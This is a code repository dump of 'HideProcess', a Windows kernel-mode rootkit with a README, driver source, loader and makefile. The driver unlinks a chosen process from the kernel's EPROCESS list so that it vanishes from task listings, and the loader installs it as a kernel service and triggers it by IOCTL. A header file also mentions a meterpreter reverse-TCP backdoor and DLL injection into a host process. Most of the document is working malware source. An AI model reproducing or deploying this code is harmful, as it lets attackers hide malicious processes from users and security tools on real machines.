├── README.md ├── driver ├── discoveroffset.c ├── driver.c ├── driver.h ├── hideprocess.c └── irphandlers.c ├── img ├── demo.PNG └── hiding_win10.gif ├── loader ├── loader.c └── loader.h ├── makefile └── tools ├── errorhandling.c ├── privilages.c └── process.c /README.md: -------------------------------------------------------------------------------- 1 | # HideProcess 2 | 3 | #### Update: Now works for both 64bit and 32bit architecture! Tested on: 4 | 5 | * Windows 10 Enterprise Edition x64 Build 15063.rs2_release.170317-1834 6 | * Windows 7 SP1 x86 7 | 8 | ![Demo](https://github.com/landhb/HideProcess/blob/master/img/demo.PNG?raw=true "Demo") 9 | 10 | ### Writeup 11 | 12 | For more information on the concepts used here please check out my [article](http://www.landhb.me/posts/v9eRa/a-basic-windows-dkom-rootkit-pt-1/). 13 | 14 | ### Limitations 15 | 16 | Does not bypass PatchGuard or driver signing requirements. 17 | 18 | Please use a VM whenever you run this. Current tests on Windows 10 observe it takes about 30 minutes after unlinking the process to induce a BSOD. 19 | 20 | ### Compiling The Driver 21 | 22 | The driver has a number of dependencies and you'll need to compile it using msbuild or visual studio. I used Visual Studio during the development process. You'll need: 23 | 24 | 1. [The Windows 10 SDK](https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk) 25 | 2. [WDK 10](https://msdn.microsoft.com/en-us/library/windows/hardware/ff557573(v=vs.85).aspx) 26 | 27 | Once those are setup and integrated with Visual Studio, start a new empty KMDF (Kernel Mode Driver Framework) project and import the files in the /driver folder. 28 | 29 | Under Debug -> [ProjectName] Properties -> Driver Settings -> General, make sure your Target OS Version is Windows 7 and the Target Platform is Desktop. 30 | 31 | Then under Build -> Configuration Manager, make sure the Platform is Win32, and x86 is selected under "Active solution platform". 32 | 33 | Now you should be able to use Build -> Build [ProjectName] to build the project. This will generate a .sys file if everything went well. Then put the .sys file in c:\Windows\System32\drivers\[ProjectName].sys, or change the following define statement in loader.c to the path you've specified: 34 | 35 | #define DRIVER "c:\\\\Windows\\System32\\drivers\\Rootkit.sys" 36 | 37 | #### Compiling The Loader 38 | 39 | For the loader you can simply use the makefile and mingw to cross compile it. 40 | 41 | ``` 42 | sudo apt-get install mingw-w64 43 | ``` 44 | 45 | Then you can create a 32-bit Windows executable using the makefile with: 46 | 47 | ``` 48 | make 32bit 49 | ``` 50 | 51 | And a 64-bit Windows executable with: 52 | 53 | ``` 54 | make 64bit 55 | ``` 56 | -------------------------------------------------------------------------------- /driver/discoveroffset.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "driver.h" 3 | 4 | 5 | ULONG find_eprocess_pid_offset() { 6 | 7 | 8 | ULONG pid_ofs = 0; // The offset we're looking for 9 | int idx = 0; // Index 10 | ULONG pids[3]; // List of PIDs for our 3 processes 11 | PEPROCESS eprocs[3]; // Process list, will contain 3 processes 12 | 13 | //Select 3 process PIDs and get their EPROCESS Pointer 14 | for (int i = 16; idx<3; i += 4) 15 | { 16 | if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)i, &eprocs[idx]))) 17 | { 18 | pids[idx] = i; 19 | idx++; 20 | } 21 | } 22 | 23 | 24 | /* 25 | Go through the EPROCESS structure and look for the PID 26 | we can start at 0x20 because UniqueProcessId should 27 | not be in the first 0x20 bytes, 28 | also we should stop after 0x300 bytes with no success 29 | */ 30 | 31 | for (int i = 0x20; i<0x300; i += 4) 32 | { 33 | if ((*(ULONG *)((UCHAR *)eprocs[0] + i) == pids[0]) 34 | && (*(ULONG *)((UCHAR *)eprocs[1] + i) == pids[1]) 35 | && (*(ULONG *)((UCHAR *)eprocs[2] + i) == pids[2])) 36 | { 37 | pid_ofs = i; 38 | break; 39 | } 40 | } 41 | 42 | ObDereferenceObject(eprocs[0]); 43 | ObDereferenceObject(eprocs[1]); 44 | ObDereferenceObject(eprocs[2]); 45 | 46 | 47 | return pid_ofs; 48 | } -------------------------------------------------------------------------------- /driver/driver.c: -------------------------------------------------------------------------------- 1 | #include "driver.h" 2 | 3 | DRIVER_INITIALIZE DriverEntry; 4 | DRIVER_UNLOAD DriverUnload; 5 | 6 | UNICODE_STRING usDeviceName = RTL_CONSTANT_STRING(L"\\Device\\Rootkit"); 7 | UNICODE_STRING usSymbolicLink = RTL_CONSTANT_STRING(L"\\DosDevices\\Rootkit"); 8 | 9 | 10 | // Driver Entry point 11 | NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) { 12 | 13 | NTSTATUS status = STATUS_SUCCESS; 14 | UNREFERENCED_PARAMETER(RegistryPath); 15 | PDEVICE_OBJECT deviceObject = NULL; 16 | 17 | 18 | KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "DKOM: Driver loaded!\n")); 19 | 20 | 21 | // Use default dispatcher for 99.9% of IRP requests 22 | for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { 23 | DriverObject->MajorFunction[i] = defaultIrpHandler; 24 | } 25 | 26 | // Specify the IRP requests we'll actually use 27 | DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpCallRootkit; 28 | 29 | // Create the IOCTL Device to handle requests 30 | status = IoCreateDevice( 31 | DriverObject, 32 | 0, 33 | &usDeviceName, 34 | FILE_DEVICE_UNKNOWN, 35 | FILE_DEVICE_SECURE_OPEN, 36 | FALSE, 37 | &deviceObject); 38 | 39 | // Check to ensure it initialized properly 40 | if (!NT_SUCCESS(status)) { 41 | return status; 42 | } 43 | 44 | // Create a symbolic link between the two name 45 | status = IoCreateSymbolicLink(&usSymbolicLink, &usDeviceName); 46 | 47 | // If the symbolic link fails, delete the IOCTL device and exit 48 | if (!NT_SUCCESS(status)) { 49 | IoDeleteDevice(deviceObject); 50 | return status; 51 | } 52 | 53 | /* 54 | // Register our low-level NDIS Protocol 55 | // to sniff on the wire 56 | if (!NT_SUCCESS(BogusProtocolRegister())) { 57 | 58 | // On failure, delete our device and return 59 | IoDeleteDevice(deviceObject); 60 | return status; 61 | } */ 62 | 63 | 64 | // Create reference to unload Driver 65 | DriverObject->DriverUnload = DriverUnload; 66 | 67 | return (status); 68 | } 69 | 70 | 71 | 72 | // Driver unload point 73 | VOID DriverUnload(_In_ PDRIVER_OBJECT DriverObject) { 74 | 75 | UNREFERENCED_PARAMETER(DriverObject); 76 | 77 | 78 | //BogusProtocolUnregister(); 79 | 80 | // Delete our driver device and the associated symbolic link 81 | IoDeleteSymbolicLink(&usSymbolicLink); 82 | IoDeleteDevice(DriverObject->DeviceObject); 83 | 84 | KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "Driver Unloaded\n")); 85 | 86 | 87 | return; 88 | } 89 | -------------------------------------------------------------------------------- /driver/driver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #pragma warning(disable: 4201) 3 | 4 | 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | 14 | /* 15 | * Magic sequence that activates meterpreter/reverse_tcp backdoor on port 4444. 16 | * Use rootkit_ping.py script for communicating with the infected target. 17 | */ 18 | #define ROOTKIT_CTL_KEY "7C5E3380" 19 | 20 | 21 | /** 22 | * Process to inject meterpreter DLL. 23 | */ 24 | //#define METERPRETER_PROCESS L"winlogon.exe" 25 | #define METERPRETER_PROCESS L"notepad.exe" 26 | 27 | 28 | // NDIS version: 5.1 29 | // Microsoft required pre-processor definition 30 | #define NDIS51 1 31 | #include "ndis.h" 32 | 33 | // IoControl Code we want to filter in TCPIP.sys 34 | // When a program such as netstat.exe requests a list of ports/programs 35 | // it uses the major IRP control code IOCTL_TCP_QUERY_INFORMATION_EX 36 | #define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003 37 | 38 | 39 | DRIVER_INITIALIZE DriverEntry; 40 | 41 | //------------------------------------------------------------------------------ 42 | // Main Driver Functionality (driver.c) 43 | //------------------------------------------------------------------------------ 44 | 45 | // Driver unload function 46 | VOID DriverUnload(_In_ PDRIVER_OBJECT DriverObject); 47 | 48 | //------------------------------------------------------------------------------ 49 | // IRP Handlers (irphandlers.c) 50 | //------------------------------------------------------------------------------ 51 | 52 | // Default IRP dispatcher 53 | NTSTATUS defaultIrpHandler(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp); 54 | 55 | // IRP that calls our rootkit functionality 56 | NTSTATUS IrpCallRootkit(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp); 57 | 58 | //------------------------------------------------------------------------------ 59 | // DKOM Functionality (hideprocess.c) 60 | //------------------------------------------------------------------------------ 61 | 62 | // Search for the process to modify 63 | PCHAR modifyTaskList(UINT32 pid); 64 | 65 | 66 | // De-link the process from the EPROCESS list 67 | void remove_links(PLIST_ENTRY Current); 68 | 69 | //------------------------------------------------------------------------------ 70 | // Offset Discovery (discoveroffset.c) 71 | //------------------------------------------------------------------------------ 72 | 73 | // Return the offset of the PID field in the EPROCESS list 74 | ULONG find_eprocess_pid_offset(); 75 | 76 | //------------------------------------------------------------------------------ 77 | // TCP/IP Hook 78 | /*------------------------------------------------------------------------------ 79 | 80 | // Hook the TCPIP.sys driver 81 | NTSTATUS TCPHook(); 82 | 83 | 84 | // Hook handler for hooked TCP/IP driver 85 | NTSTATUS TCPIRPHookHandler(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp); 86 | 87 | 88 | // Completion routine 89 | NTSTATUS HookCompletionRoutine(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp, _In_ PVOID Context); 90 | 91 | // Removal function, for driver unload 92 | NTSTATUS RemoveTCPHook(_In_ PDRIVER_OBJECT DriverObject); */ 93 | 94 | 95 | 96 | 97 | //------------------------------------------------------------------------------ 98 | // NDIS Protocol 99 | //------------------------------------------------------------------------------ 100 | /* 101 | NTSTATUS BogusProtocolRegister(); 102 | void BogusProtocolUnregister(); 103 | 104 | void RunShellcode(PVOID param); */ 105 | -------------------------------------------------------------------------------- /driver/hideprocess.c: -------------------------------------------------------------------------------- 1 | #include "driver.h" 2 | 3 | 4 | PCHAR modifyTaskList(UINT32 pid) { 5 | 6 | 7 | LPSTR result = ExAllocatePool(NonPagedPool, sizeof(ULONG) + 20);; 8 | 9 | 10 | // Get PID offset nt!_EPROCESS.UniqueProcessId 11 | ULONG PID_OFFSET = find_eprocess_pid_offset(); 12 | 13 | // Check if offset discovery was successful 14 | if (PID_OFFSET == 0) { 15 | return (PCHAR)"Could not find PID offset!"; 16 | } 17 | 18 | // Get LIST_ENTRY offset nt!_EPROCESS.ActiveProcessLinks 19 | ULONG LIST_OFFSET = PID_OFFSET; 20 | 21 | 22 | // Check Architecture using pointer size 23 | INT_PTR ptr; 24 | 25 | // Ptr size 8 if compiled for a 64-bit machine, 4 if compiled for 32-bit machine 26 | LIST_OFFSET += sizeof(ptr); 27 | 28 | // Record offsets for user buffer 29 | sprintf_s(result, 2 * sizeof(ULONG) + 30, "Found offsets: %lu & %lu", PID_OFFSET, LIST_OFFSET); 30 | 31 | // Get current process 32 | PEPROCESS CurrentEPROCESS = PsGetCurrentProcess(); 33 | 34 | // Initialize other variables 35 | PLIST_ENTRY CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET); 36 | PUINT32 CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET); 37 | 38 | // Check self 39 | if (*(UINT32 *)CurrentPID == pid) { 40 | remove_links(CurrentList); 41 | return (PCHAR)result; 42 | } 43 | 44 | // Record the starting position 45 | PEPROCESS StartProcess = CurrentEPROCESS; 46 | 47 | // Move to next item 48 | CurrentEPROCESS = (PEPROCESS)((ULONG_PTR)CurrentList->Flink - LIST_OFFSET); 49 | CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET); 50 | CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET); 51 | 52 | // Loop until we find the right process to remove 53 | // Or until we circle back 54 | while ((ULONG_PTR)StartProcess != (ULONG_PTR)CurrentEPROCESS) { 55 | 56 | // Check item 57 | if (*(UINT32 *)CurrentPID == pid) { 58 | remove_links(CurrentList); 59 | return (PCHAR)result; 60 | } 61 | 62 | // Move to next item 63 | CurrentEPROCESS = (PEPROCESS)((ULONG_PTR)CurrentList->Flink - LIST_OFFSET); 64 | CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET); 65 | CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET); 66 | } 67 | 68 | return (PCHAR)result; 69 | } 70 | 71 | void remove_links(PLIST_ENTRY Current) { 72 | 73 | PLIST_ENTRY Previous, Next; 74 | 75 | Previous = (Current->Blink); 76 | Next = (Current->Flink); 77 | 78 | // Loop over self (connect previous with next) 79 | Previous->Flink = Next; 80 | Next->Blink = Previous; 81 | 82 | // Re-write the current LIST_ENTRY to point to itself (avoiding BSOD) 83 | Current->Blink = (PLIST_ENTRY)&Current->Flink; 84 | Current->Flink = (PLIST_ENTRY)&Current->Flink; 85 | 86 | return; 87 | 88 | } -------------------------------------------------------------------------------- /driver/irphandlers.c: -------------------------------------------------------------------------------- 1 | #include "driver.h" 2 | 3 | 4 | // IRP code that will call our EPROCESS de-link functionality 5 | #define IRP_ROOTKIT_CODE 0x815 6 | 7 | 8 | 9 | // Default IRP dispatcher, passthrough no action, return STATUS_SUCCESS 10 | NTSTATUS defaultIrpHandler(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP IrpMessage) { 11 | 12 | UNREFERENCED_PARAMETER(DeviceObject); 13 | 14 | // Set status as success 15 | IrpMessage->IoStatus.Status = STATUS_SUCCESS; 16 | IrpMessage->IoStatus.Information = 0; 17 | 18 | // Complete request 19 | IoCompleteRequest(IrpMessage, IO_NO_INCREMENT); 20 | 21 | return(STATUS_SUCCESS); 22 | } 23 | 24 | // Handler to recieve IRP request and call Rootkit functionality 25 | NTSTATUS IrpCallRootkit(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp) { 26 | 27 | UNREFERENCED_PARAMETER(DeviceObject); 28 | NTSTATUS status = STATUS_SUCCESS; 29 | PIO_STACK_LOCATION irpSp; 30 | ULONG inBufferLength, outBufferLength, requestcode; 31 | 32 | 33 | // Recieve the IRP stack location from system 34 | irpSp = IoGetCurrentIrpStackLocation(Irp); 35 | 36 | // Recieve the buffer lengths, and request code 37 | inBufferLength = irpSp->Parameters.DeviceIoControl.InputBufferLength; 38 | outBufferLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength; 39 | requestcode = irpSp->Parameters.DeviceIoControl.IoControlCode; 40 | PCHAR inBuf = Irp->AssociatedIrp.SystemBuffer; 41 | PCHAR buffer = NULL; 42 | 43 | PCHAR data = "This String is from Device Driver !!!"; 44 | size_t datalen = strlen(data) + 1;//Length of data including null 45 | 46 | // Check the request code 47 | switch (requestcode) { 48 | 49 | case IRP_ROOTKIT_CODE: 50 | { 51 | 52 | Irp->IoStatus.Information = inBufferLength; 53 | KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "DKOM: incoming IRP : %s", inBuf)); 54 | 55 | // Allocate memory for the PID 56 | char pid[32]; 57 | 58 | 59 | // Copy the input buffer into PID 60 | strcpy_s(pid, inBufferLength, inBuf); 61 | 62 | 63 | /* Lock access to EPROCESS list using the IRQL (Interrupt Request Level) approach 64 | KIRQL irql; 65 | PKDPC dpcPtr; 66 | irql = RaiseIRQL(); 67 | dpcPtr = AquireLock(); */ 68 | 69 | 70 | // 71 | // To access the output buffer, just get the system address 72 | // for the buffer. For this method, this buffer is intended for transfering data 73 | // from the driver to the application. 74 | // 75 | 76 | buffer = MmGetSystemAddressForMdlSafe(Irp->MdlAddress, NormalPagePriority | MdlMappingNoExecute); 77 | 78 | if (!buffer) { 79 | status = STATUS_INSUFFICIENT_RESOURCES; 80 | break; 81 | } 82 | 83 | 84 | // Call our rootkit functionality 85 | // modifyTaskList in hideprocess.c 86 | data = modifyTaskList(atoi(pid)); 87 | 88 | // 89 | // Write data to be sent to the user in this buffer 90 | // 91 | 92 | RtlCopyBytes(buffer, data, outBufferLength); 93 | 94 | 95 | Irp->IoStatus.Information = (outBufferLengthIoStatus.Status = status; 115 | 116 | // Complete request 117 | IoCompleteRequest(Irp, IO_NO_INCREMENT); 118 | 119 | return status; 120 | } -------------------------------------------------------------------------------- /img/demo.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/landhb/HideProcess/99d7a72900191a801925406b678fd1c493fc8e28/img/demo.PNG -------------------------------------------------------------------------------- /img/hiding_win10.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/landhb/HideProcess/99d7a72900191a801925406b678fd1c493fc8e28/img/hiding_win10.gif -------------------------------------------------------------------------------- /loader/loader.c: -------------------------------------------------------------------------------- 1 | 2 | #include "loader.h" 3 | 4 | 5 | #define SERVICE "Rootkit" 6 | #define DEVICE "\\\\.\\Rootkit" 7 | //#define DRIVER "c:\\\\Windows\\System32\\drivers\\Rootkit.sys" 8 | #define DRIVER "c:\\\\Users\\IEUser\\Desktop\\Rootkit.sys" 9 | //#define DRIVER "C:\\\\WINDOWS\\Rootkit.sys" 10 | 11 | 12 | // IRP code that will call our rootkit functionality 13 | #define IRP_ROOTKIT_CODE 0x815 14 | 15 | int call_kernel_driver(char * pid, HANDLE hDevice){ 16 | 17 | printf("%s %d\n", "[+] Calling Driver, hiding PID:", atoi(pid)); 18 | 19 | ULONG bytes_returned; 20 | char * retbuf; 21 | 22 | BOOLEAN call_result = DeviceIoControl( 23 | hDevice, 24 | IRP_ROOTKIT_CODE, 25 | pid, 26 | strlen(pid) + 1, 27 | retbuf, 28 | 200, 29 | &bytes_returned, 30 | (LPOVERLAPPED) NULL); 31 | 32 | if (!call_result) { 33 | printf("[-] Error sending IRP to driver: %s \n", GetLastErrorAsString()); 34 | return; 35 | } 36 | 37 | printf("[+] IRP Sent, look for your process!\n"); 38 | printf("\nRootkit returned '%s'\n", retbuf); 39 | } 40 | 41 | BOOL load_driver(SC_HANDLE svcHandle) { 42 | 43 | printf("[*] Loading driver.\n"); 44 | 45 | // Attempt to start the service 46 | if(StartService(svcHandle, 0, NULL) == 0) { 47 | 48 | // Check if error was due to the driver already running 49 | if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) { 50 | 51 | printf("[!] Driver is already running.\n"); 52 | return TRUE; 53 | 54 | } else { 55 | printf("[-] Error loading driver: %s \n", GetLastErrorAsString()); 56 | return FALSE; 57 | } 58 | } 59 | 60 | printf("[+] Driver loaded.\n"); 61 | return TRUE; 62 | } 63 | 64 | HANDLE install_driver() { 65 | 66 | // Declare variables 67 | SC_HANDLE hSCManager; // Handle for SCM Database 68 | SC_HANDLE hService; // Service handle 69 | HANDLE hDevice; // Device handle for our driver 70 | BOOLEAN b; 71 | ULONG r; 72 | 73 | 74 | // Open a handle to the sc.exe service manager 75 | hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); 76 | 77 | // Check the return value of our handle 78 | if (hSCManager == NULL) { 79 | printf("[-] Error opening handle to SCM Database: %s \n", GetLastErrorAsString()); 80 | goto cleanup; 81 | } 82 | 83 | printf("[*] Grabbing driver device handle...\n"); 84 | 85 | // Try to open a handle to our service 86 | hService = OpenService(hSCManager, TEXT(SERVICE), SERVICE_ALL_ACCESS); 87 | 88 | // If it doesn't open successfully, try to create it as a new service 89 | if(hService == NULL) { 90 | 91 | 92 | printf("[!] Doesn't exist, installing new SCM entry...\n"); 93 | 94 | // Check if it's because it isn't already installed 95 | if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) { 96 | 97 | // Create the service 98 | hService = CreateService 99 | ( 100 | hSCManager, 101 | TEXT(SERVICE), 102 | TEXT(SERVICE), 103 | SC_MANAGER_ALL_ACCESS, 104 | SERVICE_KERNEL_DRIVER, 105 | SERVICE_DEMAND_START, 106 | SERVICE_ERROR_IGNORE, 107 | TEXT(DRIVER), 108 | NULL, NULL, NULL, NULL, NULL 109 | ); 110 | 111 | if (hService == NULL) { 112 | printf("[-] Error creating service: %s \n", GetLastErrorAsString()); 113 | goto cleanup; 114 | } 115 | 116 | } else { 117 | printf("[-] Error opening service: %s \n", GetLastErrorAsString()); 118 | goto cleanup; 119 | } 120 | 121 | printf("[+] SCM database entry added.\n"); 122 | 123 | // Attempt to start newly added driver 124 | if(!load_driver(hService)){ 125 | goto cleanup; 126 | } 127 | 128 | } 129 | 130 | // Open Device handle 131 | hDevice = CreateFile 132 | ( 133 | TEXT(DEVICE), 134 | GENERIC_READ | GENERIC_WRITE, 135 | 0, 136 | NULL, 137 | OPEN_EXISTING, 138 | FILE_ATTRIBUTE_NORMAL, 139 | NULL 140 | ); 141 | 142 | // Check to ensure a valid handle 143 | if (hDevice == INVALID_HANDLE_VALUE) { 144 | 145 | // Check if installed driver didn't start properly 146 | if(!load_driver(hService)){ 147 | printf("[-] Error creating handle: %s \n", GetLastErrorAsString()); 148 | hDevice = NULL; 149 | goto cleanup; 150 | } 151 | } 152 | 153 | // Cleanup and return 154 | // I debated a long time about the using a goto here, I didn't want to type the 155 | // cleanup routine everytime I wanted to return after an error. 156 | // Linus and Rik van Riel convinced me it was okay: 157 | // http://web.archive.org/web/20100211132600/http://kerneltrap.org/node/553/2131 158 | // I guess memory cleanup and non-nested conditionals like we have above are 159 | // one of the only times using the notorious goto isn't a crime against humanity 160 | cleanup: 161 | CloseServiceHandle(hService); 162 | CloseServiceHandle(hSCManager); 163 | 164 | if(hDevice){ 165 | return hDevice; 166 | } 167 | 168 | return NULL; 169 | 170 | } 171 | 172 | 173 | 174 | int main(int argc, char *argv[]) 175 | { 176 | 177 | // Device handle 178 | HANDLE hDevice; 179 | 180 | // Usage 181 | if ( argc != 2) { 182 | printf("Usage Error: " 183 | "\nPlease provide a process to hide (ex. slack.exe)\n"); 184 | exit(EXIT_FAILURE); 185 | } 186 | 187 | /* 188 | // Check privilages 189 | if (!IsElevated()) { 190 | printf("Exiting: The DKOM rootkit requires elevated privilages to hide a process.\n"); 191 | return 1; 192 | } */ 193 | 194 | // Banner 195 | printf("\n Basic DKOM Rootkit to Hide a Process\n" 196 | " Usage : loader.exe [process name]\n" 197 | " Author: Bradley Landherr\n\n"); 198 | 199 | 200 | // Get the PID of the given process 201 | unsigned int pid = FindProcessId(argv[1]); 202 | 203 | // Exit if PID not found 204 | if (pid == 0) { 205 | printf("[-] Process %s not found.\n", argv[1]); 206 | exit(2); 207 | } 208 | 209 | 210 | printf("\n[+] Discovered PID of process %s: %d\n", argv[1], pid); 211 | 212 | 213 | // Grab handle to our rootkit driver 214 | hDevice = install_driver(); 215 | 216 | // Exit if there was an error 217 | if (hDevice == NULL) { 218 | exit(1); 219 | } 220 | 221 | printf("[+] Recieved driver handle.\n"); 222 | 223 | // Convert PID to buffer to pass to driver 224 | char buffer[10]; 225 | sprintf(buffer,"%ld", pid); 226 | 227 | // Call driver to modify the EPROCESS list 228 | call_kernel_driver(buffer, hDevice); 229 | 230 | CloseHandle(hDevice); 231 | return 0; 232 | } -------------------------------------------------------------------------------- /loader/loader.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | 11 | // ----------------------------------------------------------------- 12 | // Tools 13 | // ----------------------------------------------------------------- 14 | 15 | BOOL IsElevated(); // Checks if the program is elevated - privilages.c 16 | 17 | unsigned int FindProcessId(const char *processname); // Given a process name returns the PID - process.c 18 | 19 | const char * GetLastErrorAsString(); // Return the last error as a string - errorhandling.c -------------------------------------------------------------------------------- /makefile: -------------------------------------------------------------------------------- 1 | 32bit: loader/loader.c tools/errorhandling.c tools/process.c tools/privilages.c 2 | i686-w64-mingw32-gcc -Iddk -o dkom.exe loader/loader.c tools/errorhandling.c tools/process.c tools/privilages.c loader/loader.h 3 | 4 | 64bit: loader/loader.c tools/errorhandling.c tools/process.c tools/privilages.c 5 | x86_64-w64-mingw32-gcc -Iddk -o dkom.exe loader/loader.c tools/errorhandling.c tools/process.c tools/privilages.c loader/loader.h -------------------------------------------------------------------------------- /tools/errorhandling.c: -------------------------------------------------------------------------------- 1 | #include "../loader/loader.h" 2 | 3 | //Returns the last Win32 error, in string format. Returns an empty string if there is no error. 4 | const char * GetLastErrorAsString() 5 | { 6 | //Get the error message, if any. 7 | DWORD errorMessageID = GetLastError(); 8 | if(errorMessageID == 0) { 9 | return NULL; //No error message has been recorded 10 | } 11 | 12 | char * messageBuffer = NULL; 13 | size_t size = FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, 14 | NULL, errorMessageID, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&messageBuffer, 0, NULL); 15 | 16 | 17 | 18 | return messageBuffer; 19 | } 20 | 21 | -------------------------------------------------------------------------------- /tools/privilages.c: -------------------------------------------------------------------------------- 1 | #include "../loader/loader.h" 2 | 3 | BOOL IsElevated( ) { 4 | BOOL fRet = FALSE; 5 | HANDLE hToken = NULL; 6 | if( OpenProcessToken( GetCurrentProcess( ),TOKEN_QUERY,&hToken ) ) { 7 | TOKEN_ELEVATION Elevation; 8 | DWORD cbSize = sizeof( TOKEN_ELEVATION ); 9 | if( GetTokenInformation( hToken, TokenElevation, &Elevation, sizeof( Elevation ), &cbSize ) ) { 10 | fRet = Elevation.TokenIsElevated; 11 | } 12 | } 13 | if( hToken ) { 14 | CloseHandle( hToken ); 15 | } 16 | return fRet; 17 | } -------------------------------------------------------------------------------- /tools/process.c: -------------------------------------------------------------------------------- 1 | #include "../loader/loader.h" 2 | 3 | unsigned int FindProcessId(const char *processname) 4 | { 5 | HANDLE hProcessSnap; 6 | PROCESSENTRY32 pe32; 7 | unsigned int result = NULL; 8 | 9 | // Take a snapshot of all processes in the system. 10 | hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 11 | if (INVALID_HANDLE_VALUE == hProcessSnap) return(FALSE); 12 | 13 | pe32.dwSize = sizeof(PROCESSENTRY32); // <----- IMPORTANT 14 | 15 | // Retrieve information about the first process, 16 | // and exit if unsuccessful 17 | if (!Process32First(hProcessSnap, &pe32)) 18 | { 19 | CloseHandle(hProcessSnap); // clean the snapshot object 20 | printf("!!! Failed to gather information on system processes! \n"); 21 | return 0; 22 | } 23 | 24 | do 25 | { 26 | //printf("Checking process %ls\n", pe32.szExeFile); 27 | if (0 == strcmp(processname, pe32.szExeFile)) 28 | { 29 | result = pe32.th32ProcessID; 30 | break; 31 | } 32 | } while (Process32Next(hProcessSnap, &pe32)); 33 | 34 | CloseHandle(hProcessSnap); 35 | 36 | return result; 37 | } --------------------------------------------------------------------------------